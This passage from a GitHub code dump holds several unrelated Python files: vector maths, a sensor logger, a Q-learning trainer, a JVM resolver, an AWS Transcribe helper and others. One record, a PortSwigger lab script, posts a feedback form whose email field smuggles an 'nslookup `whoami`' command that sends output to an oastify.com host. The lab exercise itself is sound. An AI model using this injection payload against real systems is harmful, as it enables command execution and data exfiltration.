sqrt(x * x + y * y + z * z)\n \n def __repr__(self):\n x, y, z = self._v\n return \"Vector3(%s, %s, %s)\" % (x, y, z)\n\n\n def __getitem__(self, index):\n \"\"\"Retrieves a component, given its index.\n\n index -- 0, 1 or 2 for x, y or z\n\n \"\"\"\n return self._v[index]\n \n def __add__(self, rhs):\n \"\"\"Returns the result of adding a vector (or collection of 3 numbers)\n from this vector.\n\n rhs -- Vector or sequence of 3 values\n\n \"\"\"\n x, y, z = self._v\n ox, oy, oz = rhs\n return Vector3(x+ox, y+oy, z+oz)\n\n def __iadd__(self, rhs):\n \"\"\"Adds another vector (or a collection of 3 numbers) to this vector.\n\n rhs -- Vector or sequence of 2 values\n\n \"\"\"\n ox, oy, oz = rhs\n v = self._v\n v[0] += ox\n v[1] += oy\n v[2] += oz\n return self\n\n def __neg__(self):\n \"\"\"\n invert \n \"\"\"\n x, y, z = self._v\n return Vector3(-x, -y, -z)\n\n def __sub__(self, rhs):\n \"\"\"Returns the result of subtracting a vector (or collection of\n 3 numbers) from this vector.\n\n rhs -- 3 values\n\n \"\"\"\n\n x, y, z = self._v\n ox, oy, oz = rhs\n return Vector3(x-ox, y-oy, z-oz)\n\n\n def __isub__(self, rhs):\n \"\"\"Subtracts another vector (or a collection of 3 numbers) from this\n vector.\n\n rhs -- Vector or sequence of 3 values\n\n \"\"\"\n ox, oy, oz = rhs\n v = self._v\n v[0] -= ox\n v[1] -= oy\n v[2] -= oz\n return self\n\n def __mul__(self, rhs):\n \"\"\"Return the result of multiplying this vector by another vector, or\n a scalar (single number).\n\n\n rhs -- Vector, sequence or single value.\n\n \"\"\"\n x, y, z = self._v\n if hasattr(rhs, \"__getitem__\"):\n ox, oy, oz = rhs\n return Vector3(x*ox, y*oy, z*oz)\n else:\n return Vector3(x*rhs, y*rhs, z*rhs)\n\n def __rmul__(self, lhs):\n\n x, y, z = self._v\n if hasattr(lhs, \"__getitem__\"):\n ox, oy, oz = lhs\n return Vector3(x*ox, y*oy, z*oz)\n else:\n return Vector3(x*lhs, y*lhs, z*lhs)\n \n def __imul__(self, rhs):\n \"\"\"Multiply this vector by another vector, or a scalar\n (single number).\n\n rhs -- Vector, sequence or single value.\n\n \"\"\"\n\n v = self._v\n if hasattr(rhs, \"__getitem__\"):\n ox, oy, oz = rhs\n v[0] *= ox\n v[1] *= oy\n v[2] *= oz\n else:\n v[0] *= rhs\n v[1] *= rhs\n v[2] *= rhs\n\n return self\n\n \n def __truediv__(self, rhs):\n \"\"\"Return the result of dividing this vector by another vector, or a scalar (single number).\"\"\"\n x, y, z = self._v\n if hasattr(rhs, \"__getitem__\"):\n ox, oy, oz = rhs\n return Vector3(x/ox, y/oy, z/oz)\n else:\n return Vector3(x/rhs, y/rhs, z/rhs)\n\n def __itruediv__(self, rhs):\n \"\"\"Divide this vector by another vector, or a scalar (single number).\"\"\"\n\n v = self._v\n if hasattr(rhs, \"__getitem__\"):\n ox, oy, oz = rhs\n v[0] /= ox\n v[1] /= oy\n v[2] /= oz\n else:\n v[0] /= rhs\n v[1] /= rhs\n v[2] /= rhs\n return self\n\n def dot(self, other):\n\n \"\"\"Returns the dot product of this vector with another.\n\n other -- A vector or tuple\n\n \"\"\"\n x, y, z = self._v\n ox, oy, oz = other\n return x*ox + y*oy + z*oz\n \n def cross(self, other):\n\n \"\"\"Returns the cross product of this vector with another.\n\n other -- A vector or tuple\n\n \"\"\"\n\n x, y, z = self._v\n bx, by, bz = other\n return Vector3( y*bz - by*z,\n z*bx - bz*x,\n x*by - bx*y )\n\n def normalize(self):\n \"\"\"Scales the vector to be length 1.\"\"\"\n v = self._v\n x, y, z = v\n l = sqrt(x*x + y*y + z*z)\n try:\n v[0] /= l\n v[1] /= l\n v[2] /= l\n except ZeroDivisionError:\n v[0] = 0.0\n v[1] = 0.0\n v[2] = 0.0\n return self\n\n def as_tuple(self):\n \"\"\"Returns a tuple of the x, y, z components. A little quicker than\n tuple(vector).\"\"\"\n return tuple(self._v)\n","repo_name":"KrisYu/computer-graphics-from-scratch-Notes","sub_path":"code/vector3.py","file_name":"vector3.py","file_ext":"py","file_size_in_byte":5939,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"3"} +{"seq_id":"7838515306","text":"import re\n\ndatabase = input(\"Enter the path to your database file e.g. 'Users/database.sql':\")\noutput = input(\"Enter the name of your outputted file (include .sql): \")\npattern = input(\"Enter the regex pattern you're looking for (e.g. CREATE TABLE `([^`]+)`): \")\nreplacement = input(\"Enter the replacement string. Use {} where the matched pattern should go (e.g. DROP TABLE IF EXISTS `{}`;\\\\nCREATE TABLE `{}`): \")\n\nprint(f\"Reading {database}...\")\n\nwith open(database, 'r', encoding='utf-8') as f:\n content = f.read()\n\ndef replacer(match):\n groups = match.groups()\n return replacement.format(*groups)\n\ncontent_modified = re.sub(pattern, replacer, content)\n\nprint(f\"Saving {output}...\")\nwith open(output, 'w', encoding='utf-8') as f:\n f.write(content_modified)\n\nprint(\"Modification complete!\")\n","repo_name":"Insula415/SQLModifier","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19059245137","text":"\"\"\"\nSample usage: python collect_sensor_data.py -w\n\nGets irradiance, temperature, voltage/current/power from corresponding\nsensors and writes the sensor data as a row to a csv file if -w option\nis specified.\n\nThe ouput csv file is named by the date, e.g. 2022-09-15.csv\n\"\"\"\n\nfrom datetime import datetime, date\nimport sys, getopt\nimport time\nimport os\nimport board\nimport adafruit_ads1x15\nfrom adafruit_ina219 import ADCResolution, BusVoltageRange, INA219\nfrom w1thermsensor import W1ThermSensor, Unit\nimport csv\nimport adafruit_ads1x15.ads1115 as ADS\nfrom adafruit_ads1x15.analog_in import AnalogIn\nfrom constants import *\n\ni2c_bus = board.I2C()\nina1 = INA219(i2c_bus,addr=0x40)\n\nina1.bus_adc_resolution = ADCResolution.ADCRES_12BIT_32S\nina1.shunt_adc_resolution = ADCResolution.ADCRES_12BIT_32S\nina1.bus_voltage_range = BusVoltageRange.RANGE_32V\n\ndef get_vip():\n load_voltage = round(ina1.bus_voltage, 2) # volts\n current = round(ina1.current / 1000, 2) # amps\n power = round(ina1.power, 2) # watts\n return [load_voltage, current, power]\n\ndef get_temp():\n sensor = W1ThermSensor() \n temp = sensor.get_temperature()\n return round(temp, 2)\n\ndef get_irradiance():\n ads = ADS.ADS1115(i2c_bus)\n ads.range = 16\n chan = AnalogIn(ads, ADS.P3)\n if chan.voltage < 0:\n return 0.0\n # Apogee SP-110-SS calibration factor is 5w/m^2 per mV\n return round(chan.voltage * 1000 * 5, 2)\n # return 300\n\ndef get_sensor_data():\n temp = get_temp()\n volt, current, power = get_vip()\n irradiance = get_irradiance()\n \n now = datetime.now()\n timestamp = round(now.timestamp())\n time = now.strftime(TIME_FORMAT)\n dict = {TIMESTAMP : timestamp, TIME: time, TEMPERATURE: temp, IRRADIANCE : irradiance, VOLTAGE : volt, CURRENT : current, POWER : power}\n\n return dict\n\n# format of the filename is yyyy-mm-dd, e.g., 2022-08-01.csv\ndef gen_data_filename_for_date(day):\n return DATA_FILE_RELATIVE_DIR + day.strftime(\"%Y-%m-%d.csv\")\n\ndef write_row_to_file(dict):\n dt = datetime.strptime(dict[TIME], TIME_FORMAT)\n filename = gen_data_filename_for_date(dt.today())\n write_column_names = not(os.path.exists(filename))\n with open(filename, 'a+', newline = '', encoding='utf-8') as file:\n writer = csv.DictWriter(file, RAW_DATA_COLUMN_NAMES)\n if write_column_names:\n writer.writeheader()\n writer.writerow(dict)\n file.close()\n\ndef main():\n write_file = False\n \n argv = sys.argv[1:]\n try:\n opts, args = getopt.getopt(argv, \"w\", [\"write_file\"])\n except:\n print(\"Wrong arg\")\n \n for opt, arg in opts:\n if opt in ['-w', '--write_file']:\n write_file = True\n\n dict = get_sensor_data()\n print(dict)\n if write_file:\n write_row_to_file(dict)\n\nif __name__ == \"__main__\":\n main()","repo_name":"kyle1686/PV_Monitoring","sub_path":"pvmonitoring/collect_sensor_data.py","file_name":"collect_sensor_data.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27041486576","text":"import requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\n\n\nres = requests.get(\n 'https://0a7b002304d6d005c2fd8f1e00b900f1.web-security-academy.net/feedback',\n verify=False,\n)\nsoup = BeautifulSoup(res.text, 'html.parser')\nsession = res.cookies.get('session')\ncsrf_token = soup.find('input', {'name': 'csrf'})['value']\nprint(\"session: \", session)\nprint(\"csrf: \", csrf_token)\n\n\ncookies = {\n 'session': session,\n}\n\ndata = {\n 'csrf': csrf_token,\n 'name': 'a',\n 'email': 'a@a.a; nslookup `whoami`.dj0o0abu85c8n2t1c8i4katb026tuji8.oastify.com ;',\n 'subject': 'a',\n 'message': 'a',\n}\n\nresponse = requests.post(\n 'https://0a7b002304d6d005c2fd8f1e00b900f1.web-security-academy.net/feedback/submit',\n cookies=cookies,\n data=data,\n verify=False,\n)\n","repo_name":"tu3n4nh/PortSwigger","sub_path":"LearnPath/OS command injection/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8845005712","text":"\nfrom .cp_memberref import *\nfrom .method import *\nfrom .method_lookup import lookup_method_in_class\nfrom .method_lookup import lookup_method_in_interfaces\nfrom .cls import Class\n\nclass MethodRef(MemberRef):\n\n def __init__(self, cp: ConstantPool, ref_info: MethodrefConstantInfo) -> None:\n super().__init__()\n self.cp = cp\n self.method :Method= None\n self.copy_memberref_info(ref_info)\n\n def resolved_method(self) -> Method:\n if self.method == None:\n self.resolve_method_ref()\n return self.method\n\n def resolve_method_ref(self):\n d = self.cp.clazz\n c = self.resolved_class()\n if c.is_interface():\n raise SystemExit('java.lang.IncompatibleClassChangeError')\n method = lookup_method(c, self.name, self.descriptor)\n if method == None:\n raise SystemExit('java.lang.NoSuchMethodError')\n if not method.is_accessible_to(d):\n raise SystemExit('java.lang.IllegalAccessError')\n\n self.method = method\n\ndef lookup_method(clazz: Class, name:str, descriptor:str)-> Method:\n method = lookup_method_in_class(clazz, name, descriptor)\n if method == None:\n method = lookup_method_in_interfaces(clazz.interfaces, name, descriptor)\n return method\n\n","repo_name":"yyancy/jvm-python","sub_path":"jvm/rtda/heap/cp_methodref.py","file_name":"cp_methodref.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37948661942","text":"import os\nfrom pathlib import Path\n\nfrom dotenv import find_dotenv, load_dotenv\n\nload_dotenv(find_dotenv(\"./src/.env\"))\n\ndef get_service_uri(prefix: str) -> str:\n service_scheme=os.getenv(f\"{prefix}SERVICE_SCHEME\")\n service_host=os.getenv(f\"{prefix}SERVICE_HOST\")\n service_port=os.getenv(f\"{prefix}SERVICE_PORT\")\n\n if service_port and service_host and service_scheme:\n return f\"{service_scheme}://{service_host}:{service_port}\"\n return \"\"\n\nPOSTGRES_USER = os.environ.get(\"POSTGRES_USER\")\nPOSTGRES_PASSWORD = os.environ.get(\"POSTGRES_PASSWORD\")\nPOSTGRES_DB = os.environ.get(\"POSTGRES_DB\")\nPOSTGRES_HOST = os.environ.get(\"POSTGRES_HOST\")\nPOSTGRES_PORT = os.environ.get(\"POSTGRES_PORT\", 5432)\nDATABASE_URL = (\n f\"postgresql+psycopg2://{POSTGRES_USER}:{POSTGRES_PASSWORD}@\"\n f\"{POSTGRES_HOST}:{POSTGRES_PORT}/{POSTGRES_DB}\"\n)\n\nS3_SECURE = os.getenv(\n \"S3_SECURE\", \"False\"\n).lower() in (\n \"true\",\n \"1\",\n)\nS3_ACCESS_KEY = os.environ.get(\"S3_ACCESS_KEY\")\nS3_SECRET_KEY = os.environ.get(\"S3_SECRET_KEY\")\nS3_ENDPOINT = os.environ.get(\"S3_ENDPOINT\")\nS3_PREFIX = os.environ.get(\"S3_PREFIX\")\nS3_PROVIDER = os.environ.get(\"S3_PROVIDER\")\n\nINFERENCE_HOST = os.environ.get(\"INFERENCE_HOST\")\nINFERENCE_PORT = os.environ.get(\"INFERENCE_PORT\")\n\nALGORITHM = os.environ.get(\"ALGORITHM\", \"RS256\")\nKEYCLOAK_SYSTEM_USER_SECRET = os.environ.get(\"KEYCLOAK_SYSTEM_USER_SECRET\")\nKEYCLOAK_HOST = os.environ.get(\"KEYCLOAK_HOST\", \"http://bagerdoc-keycloack\")\n\nDOCKER_REGISTRY_URL = os.environ.get(\"DOCKER_REGISTRY_URL\")\nDOMAIN_NAME = os.environ.get(\"DOMAIN_NAME\")\nMODELS_NAMESPACE = os.environ.get(\"MODELS_NAMESPACE\")\nROOT_PATH = os.environ.get(\"ROOT_PATH\")\n\nCONVERT_EXPORT_URL = get_service_uri(\"CONVERT_\")\nHEADER_TENANT = \"X-Current-Tenant\"\n\ndef get_version() -> str:\n default = \"0.1.0\"\n ver = Path(__file__).parent.parent / \"version.txt\"\n if ver.exists() and ver.is_file():\n with open(ver, \"r\", encoding=\"utf-8\") as file:\n line = file.readline().strip()\n return line if line else default\n return default\n\n\nAPI_VERSION = get_version()\nAPI_NAME = \"models\"\nCONTAINER_NAME = \"inferenceservice\"\n","repo_name":"epam/badgerdoc","sub_path":"models/models/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"3"} +{"seq_id":"25699757611","text":"import numpy as np\nimport torch\nimport copy\nfrom collections import deque\nimport random\nimport os\nimport math\n\nfrom .rl_env import MountainCar\nfrom .QLearning import QLearning\nfrom .params import EPS_START, EPS_END, EPS_DECAY, GRID_SIZE_X, GRID_SIZE_Y\n\ndef evaluate_policy(agent, episodes=5):\n env = MountainCar()\n returns = []\n for _ in range(episodes):\n done = False\n state = env.reset()\n total_reward = 0.\n \n while not done:\n state, reward, done, info = env.step(agent.act(state))\n total_reward += info['true_reward']\n returns.append(total_reward)\n return returns\n\n\ndef train(ql, steps):\n trajectory = []\n env = MountainCar()\n state = env.reset()\n\n\n ql.qlearning_estimate = np.load(__file__[:-8] + \"/agent.npz\")\n ql.qlearning_estimate = ql.qlearning_estimate.f.arr_0\n\n best = -1e9\n\n for step in range(steps):\n total_reward = 0\n \n #Epsilon-greedy policy\n EPS_THRESHOLD = EPS_END + (EPS_START - EPS_END) * math.exp(-1. * step / EPS_DECAY)\n if random.random() < EPS_THRESHOLD:\n action = env.random_action()\n else:\n action = ql.act(state)\n\n next_state, reward, done, _ = env.step(action)\n trajectory.append((state, action, next_state, reward, done))\n \n if done:\n for transition in reversed(trajectory):\n ql.update(transition)\n trajectory = []\n \n state = next_state if not done else env.reset()\n \n if (step + 1) % (steps//100) == 0:\n rewards = evaluate_policy(ql, 200)\n print(f\"Step: {step+1}, Reward mean: {np.mean(rewards)}, Reward std: {np.std(rewards)}\")\n if np.mean(rewards) > best:\n best = np.mean(rewards)\n ql.save(path=os.curdir)\n\nif __name__ == \"__main__\":\n ql = QLearning(state_dim=GRID_SIZE_X*GRID_SIZE_Y, action_dim=3)\n train(ql, 10000000)\n","repo_name":"mahkons/RL-algorithms","sub_path":"Q-learning/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37162409752","text":"# # while conditionare:\n# # atribuire1 / instructiune1\n# atribuire2 / instructiune2\n# atribuire3 / instructiune3\n# ....\n# atribuiren / instructiunen\n\n# while True:\n# print('ruleaza')\n# break\n\n# cel_mai_mare_numar = 999999\n# number = int(input('Introdu un numar: '))\n# while number != -1:\n# if number > cel_mai_mare_numar or number < cel_mai_mare_numar and number > -1:\n# number -=1\n# elif number < -1:\n# number += 1\n# else:\n# print(cel_mai_mare_numar)\n# print(number)\n\n\n#Numere pare is numere impare\n\na = int(input('Introdu un numar: '))\nnrPare = 0\nnrImpare = 0\nwhile a != 0:\n if a % 2 == 0:\n nrPare += 1\n else:\n nrImpare += 1\n a = int(input(\"Introdu un numar: \"))\nprint(\"Am gasit {} nr pare si {} nr impare !\".format(nrPare,nrImpare))\n\n\n\n\n","repo_name":"andreicoada/repo1","sub_path":"While.py","file_name":"While.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7075876178","text":"from enum import IntEnum\nfrom typing import List\nimport complex as cx\nimport numpy as np\n\ndef _get_min_max_of(dtype):\n if dtype == np.float32 or dtype == np.float64:\n min_value = np.finfo(dtype).min\n max_value = np.finfo(dtype).max\n else:\n min_value = np.iinfo(dtype).min\n max_value = np.iinfo(dtype).max\n return (min_value, max_value)\n\nclass InitializeDataPythonFilter:\n class InitType(IntEnum):\n MANUAL = 0\n RANDOM = 1\n RANDOM_WITH_RANGE = 2\n INDICES = 3\n\n CELL_ARRAY_PATHS_KEY = 'cell_arrays'\n IMAGE_GEOMETRY_PATH_KEY = 'image_geom_path'\n MIN_POINT_KEY = 'min_point'\n MAX_POINT_KEY = 'max_point'\n INIT_TYPE_KEY = 'init_type'\n INIT_VALUE_KEY = 'init_value'\n INIT_RANGE_KEY = 'init_range'\n INIT_INDICES_OFFSET_KEY = 'indices_offset'\n\n def uuid(self) -> cx.Uuid:\n return cx.Uuid('7e43c3e1-1f94-4115-9ca4-d41171315d71')\n\n def human_name(self) -> str:\n return 'Initialize Data (Python)'\n\n def class_name(self) -> str:\n return 'InitializeDataPythonFilter'\n\n def name(self) -> str:\n return 'InitializeDataPythonFilter'\n\n def default_tags(self) -> List[str]:\n return ['python']\n\n def clone(self):\n return InitializeDataPythonFilter()\n\n def parameters(self) -> cx.Parameters:\n params = cx.Parameters()\n\n params.insert(cx.MultiArraySelectionParameter(InitializeDataPythonFilter.CELL_ARRAY_PATHS_KEY, 'Cell Arrays', '', [], {cx.IArray.ArrayType.DataArray}, cx.get_all_data_types(), []))\n params.insert(cx.GeometrySelectionParameter(InitializeDataPythonFilter.IMAGE_GEOMETRY_PATH_KEY, 'Image Geometry', '', cx.DataPath(), {cx.IGeometry.Type.Image}))\n params.insert(cx.VectorUInt64Parameter(InitializeDataPythonFilter.MIN_POINT_KEY, 'Min Point', '', [0, 0, 0], ['X (Column)', 'Y (Row)', 'Z (Plane)']))\n params.insert(cx.VectorUInt64Parameter(InitializeDataPythonFilter.MAX_POINT_KEY, 'Max Point', '', [0, 0, 0], ['X (Column)', 'Y (Row)', 'Z (Plane)']))\n params.insert_linkable_parameter(cx.ChoicesParameter(self.INIT_TYPE_KEY, 'Initialization Type', '', InitializeDataPythonFilter.InitType.MANUAL, ['Manual', 'Random', 'Random With Range', 'Indices']))\n params.insert(cx.Float64Parameter(InitializeDataPythonFilter.INIT_VALUE_KEY, 'Initialization Value', '', 0.0))\n params.insert(cx.VectorFloat64Parameter(InitializeDataPythonFilter.INIT_RANGE_KEY, 'Initialization Range', '', [0.0, 0.0]))\n params.insert(cx.Float64Parameter(InitializeDataPythonFilter.INIT_INDICES_OFFSET_KEY, 'Index offset', '', 0.0))\n\n params.link_parameters(InitializeDataPythonFilter.INIT_TYPE_KEY, InitializeDataPythonFilter.INIT_VALUE_KEY, InitializeDataPythonFilter.InitType.MANUAL)\n params.link_parameters(InitializeDataPythonFilter.INIT_TYPE_KEY, InitializeDataPythonFilter.INIT_RANGE_KEY, InitializeDataPythonFilter.InitType.RANDOM_WITH_RANGE)\n params.link_parameters(InitializeDataPythonFilter.INIT_TYPE_KEY, InitializeDataPythonFilter.INIT_INDICES_OFFSET_KEY, InitializeDataPythonFilter.InitType.INDICES)\n\n return params\n\n def preflight_impl(self, data_structure: cx.DataStructure, args: dict, message_handler: cx.IFilter.MessageHandler, should_cancel: cx.AtomicBoolProxy) -> cx.IFilter.PreflightResult:\n message_handler(cx.IFilter.Message(cx.IFilter.Message.Type.Info, f'Preflighting InitializeData'))\n\n cell_array_paths: List[cx.DataPath] = args[InitializeDataPythonFilter.CELL_ARRAY_PATHS_KEY]\n image_geom_path: cx.DataPath = args[InitializeDataPythonFilter.IMAGE_GEOMETRY_PATH_KEY]\n min_point: List[int] = args[InitializeDataPythonFilter.MIN_POINT_KEY]\n max_point: List[int] = args[InitializeDataPythonFilter.MAX_POINT_KEY]\n init_type: int = args[InitializeDataPythonFilter.INIT_TYPE_KEY]\n init_value: float = args[InitializeDataPythonFilter.INIT_VALUE_KEY]\n init_range: List[float] = args[InitializeDataPythonFilter.INIT_RANGE_KEY]\n init_indices_offset: float = args[InitializeDataPythonFilter.INIT_INDICES_OFFSET_KEY]\n\n x_min = min_point[0]\n y_min = min_point[1]\n z_min = min_point[2]\n\n x_max = max_point[0]\n y_max = max_point[1]\n z_max = max_point[2]\n\n errors = []\n\n if len(cell_array_paths) == 0:\n return (-5550, 'At least one data array must be selected.')\n\n if x_max < x_min:\n errors.append(cx.Error(-5551, f'X Max ({x_max}) less than X Min ({x_min})'))\n\n if y_max < y_min:\n errors.append(cx.Error(-5552, f'Y Max ({y_max}) less than Y Min ({y_min})'))\n\n if z_max < z_min:\n errors.append(cx.Error(-5553, f'Z Max ({z_max}) less than Z Min ({z_min})'))\n\n image_geom = data_structure[image_geom_path]\n\n if x_max > (image_geom.num_x_cells - 1):\n errors.append(cx.Error(-5557, f'The X Max you entered of {x_max} is greater than your Max X Point of {image_geom.num_x_cells - 1}'))\n\n if y_max > (image_geom.num_y_cells - 1):\n errors.append(cx.Error(-5558, f'The Y Max you entered of {y_max} is greater than your Max Y Point of {image_geom.num_y_cells - 1}'))\n\n if z_max > (image_geom.num_z_cells - 1):\n errors.append(cx.Error(-5559, f'The Z Max you entered of {z_max} is greater than your Max Z Point of {image_geom.num_z_cells - 1}'))\n\n image_dims = image_geom.dimensions\n\n reversed_image_dims = tuple(reversed(image_dims))\n\n for path in cell_array_paths:\n data_array = data_structure[path]\n if len(data_array.tuple_shape) != len(reversed_image_dims):\n errors.append(cx.Error(-5560, f'DataArray at \\'{path}\\' does not match dimensions of ImageGeometry at \\'{image_geom_path}\\''))\n\n dtype = data_array.dtype\n min_value, max_value = _get_min_max_of(dtype)\n if init_type == InitializeDataPythonFilter.InitType.MANUAL:\n if init_value < min_value or init_value > max_value:\n errors.append(cx.Error(-4000, f'{data_array.name}: The initialization value could not be converted. The valid range is {min_value} to {max_value}'))\n elif init_type == InitializeDataPythonFilter.InitType.RANDOM_WITH_RANGE:\n range_min = init_range[0]\n range_max = init_range[1]\n if range_min > range_max:\n errors.append(cx.Error(-5550, 'Invalid initialization range. Minimum value is larger than maximum value.'))\n if range_min < min_value or range_max > max_value:\n errors.append(cx.Error(-4001, f'{data_array.name}: The initialization range can only be from {min_value} to {max_value}'))\n if range_min == range_max:\n errors.append(cx.Error(-4002, 'The initialization range must have differing values'))\n elif init_type == InitializeDataPythonFilter.InitType.INDICES:\n if init_indices_offset < min_value or init_indices_offset > max_value:\n errors.append(cx.Error(-4000, f'{data_array.name}: The initialization value could not be converted. The valid range is {min_value} to {max_value}'))\n\n if len(errors) != 0:\n return cx.IFilter.PreflightResult(errors=errors)\n\n return cx.IFilter.PreflightResult()\n\n def execute_impl(self, data_structure: cx.DataStructure, args: dict, message_handler: cx.IFilter.MessageHandler, should_cancel: cx.AtomicBoolProxy) -> cx.IFilter.ExecuteResult:\n message_handler(cx.IFilter.Message(cx.IFilter.Message.Type.Info, f'Executing InitializeData'))\n\n cell_array_paths: List[cx.DataPath] = args[InitializeDataPythonFilter.CELL_ARRAY_PATHS_KEY]\n min_point: List[int] = args[InitializeDataPythonFilter.MIN_POINT_KEY]\n max_point: List[int] = args[InitializeDataPythonFilter.MAX_POINT_KEY]\n init_type: int = args[InitializeDataPythonFilter.INIT_TYPE_KEY]\n init_value: float = args[InitializeDataPythonFilter.INIT_VALUE_KEY]\n init_range: List[float] = args[InitializeDataPythonFilter.INIT_RANGE_KEY]\n init_indices_offset: float = args[InitializeDataPythonFilter.INIT_INDICES_OFFSET_KEY]\n\n x_min = min_point[0]\n y_min = min_point[1]\n z_min = min_point[2]\n\n x_max = max_point[0]\n y_max = max_point[1]\n z_max = max_point[2]\n\n for path in cell_array_paths:\n data_array = data_structure[path]\n dtype = data_array.dtype\n data = data_array.store.npview()\n data_slice = data[z_min:z_max + 1, y_min:y_max + 1, x_min:x_max + 1]\n if init_type == InitializeDataPythonFilter.InitType.MANUAL:\n data_slice[:] = init_value\n elif init_type == InitializeDataPythonFilter.InitType.INDICES:\n data_slice[:] = np.arange(init_indices_offset, data_slice.size, dtype=dtype).reshape(data_slice.shape)\n else:\n if init_type == InitializeDataPythonFilter.InitType.RANDOM_WITH_RANGE:\n range_min = init_range[0]\n range_max = init_range[1]\n else:\n range_min, range_max = _get_min_max_of(dtype)\n rng = np.random.default_rng()\n if dtype == np.float32 or dtype == np.float64:\n data_slice[:] = rng.uniform(range_min, range_max, size=data_slice.size).reshape(data_slice.shape)\n else:\n data_slice[:] = rng.integers(range_min, range_max, size=data_slice.size).reshape(data_slice.shape)\n\n return cx.Result()\n","repo_name":"BlueQuartzSoftware/complex","sub_path":"wrapping/python/examples/TestPlugin/InitializeData.py","file_name":"InitializeData.py","file_ext":"py","file_size_in_byte":8973,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"14885874314","text":"import json\nimport logging\nimport os\nimport time\nimport urllib\n\nimport boto3\nimport numpy as np\nimport pandas as pd\nimport regex as re\n\nfrom util.aws.s3 import s3_exists\n\n\ndef _parse_transcription(handle, speaker_labels={}):\n if isinstance(handle, str):\n from util.aws.s3 import s3_download\n handle = open(s3_download(handle))\n results = json.load(handle)\n\n __to_timedelta = lambda series: pd.to_timedelta(series.astype(float), unit=\"S\").dt.round(\"S\")\n\n transcript_df = pd.DataFrame(results[\"results\"][\"items\"])\n transcript_df[\"start_time\"] = __to_timedelta(transcript_df[\"start_time\"])\n transcript_df[\"end_time\"] = __to_timedelta(transcript_df[\"end_time\"])\n transcript_df[\"content\"] = transcript_df[\"alternatives\"].apply(lambda row: row[0][\"content\"])\n\n transcript_df[\"confidence\"] = transcript_df[\"alternatives\"].apply(lambda row: row[0][\"confidence\"]).astype(float)\n transcript_df[\"confidence\"] = (transcript_df[\"confidence\"] + 1e-5).clip(upper=1.000)\n transcript_df[\"confidence\"] = np.log(transcript_df[\"confidence\"])\n\n if \"speaker_labels\" in results[\"results\"]:\n speaker_df = pd.DataFrame(results[\"results\"][\"speaker_labels\"][\"segments\"])\n speaker_df[\"start_time\"] = __to_timedelta(speaker_df[\"start_time\"])\n speaker_df[\"end_time\"] = __to_timedelta(speaker_df[\"end_time\"])\n\n transcript_df.set_index(\"start_time\", inplace=True)\n def __content(row):\n mask = (row[\"start_time\"] <= transcript_df.index) & (transcript_df.index < row[\"end_time\"])\n content = \" \".join(transcript_df.loc[mask, \"content\"])\n confidence = transcript_df.loc[mask, \"confidence\"].sum()\n return content, confidence\n speaker_df[[\"content\", \"confidence\"]] = speaker_df.apply(__content, axis=1, result_type=\"expand\")\n\n speaker_df.rename(columns={ \"speaker_label\": \"speaker\" }, inplace=True)\n if speaker_labels:\n speaker_df[\"speaker\"] = speaker_df[\"speaker\"].apply(speaker_labels.get)\n\n transcript_df = speaker_df[[\"speaker\", \"content\", \"confidence\", \"start_time\", \"end_time\"]]\n\n return transcript_df\n\ndef _transcribe_audio(s3_target_path, s3_source_path, name=None, speaker_ct=2,\n language=\"en-US\", region=\"us-west-1\", retries=10, **kwargs):\n if not s3_exists(s3_target_path):\n transcribe_client = boto3.client(\"transcribe\")\n\n job_name = name or re.sub(r\"\\W\", \"_\", s3_target_path)\n s3_source_cmps = urllib.parse.urlparse(s3_source_path)\n s3_target_cmps = urllib.parse.urlparse(s3_target_path)\n transcribe_client.start_transcription_job(**{\n \"TranscriptionJobName\": job_name,\n \"LanguageCode\": language,\n \"MediaFormat\": os.path.splitext(s3_source_cmps.path)[-1][1:],\n \"Media\": {\n \"MediaFileUri\": s3_source_path,\n },\n \"OutputBucketName\": s3_target_cmps.netloc,\n \"Settings\": {\n \"ShowSpeakerLabels\": True,\n \"MaxSpeakerLabels\": speaker_ct,\n }\n })\n\n assert(retries >= 0)\n for ix in range(retries + 1):\n job = transcribe_client.get_transcription_job(TranscriptionJobName=job_name).get(\"TranscriptionJob\", {})\n if job.get(\"TranscriptionJobStatus\") != \"IN_PROGRESS\":\n logging.info(\"Stopping %s job: %s\", job_name, job)\n break\n\n sleep_s = 2.000 ** ix\n logging.debug(\"Retrying %s job after %.0f seconds\", job_name, sleep_s)\n time.sleep(sleep_s)\n\n s3_interim_path = re.sub(r\"https://s3\\..*\\.amazonaws\\.com/\", \"s3://\", job.get(\"Transcript\", {}).get(\"TranscriptFileUri\"))\n s3_interim_cmps = urllib.parse.urlparse(s3_interim_path)\n if job[\"TranscriptionJobStatus\"] != \"COMPLETED\":\n logging.error(\"Couldn't complete %s job: %s [%s]: %s\", job_name, job[\"TranscriptionJobStatus\"],\n job.get(\"FailureReason\"), s3_interim_path)\n return None\n\n s3_client = boto3.client(\"s3\")\n s3_client.copy_object(**{\n \"CopySource\": {\n \"Bucket\": s3_interim_cmps.netloc,\n \"Key\": s3_interim_cmps.path.lstrip(\"/\"),\n },\n\n \"Bucket\": s3_target_cmps.netloc,\n \"Key\": s3_target_cmps.path.lstrip(\"/\"),\n })\n\n 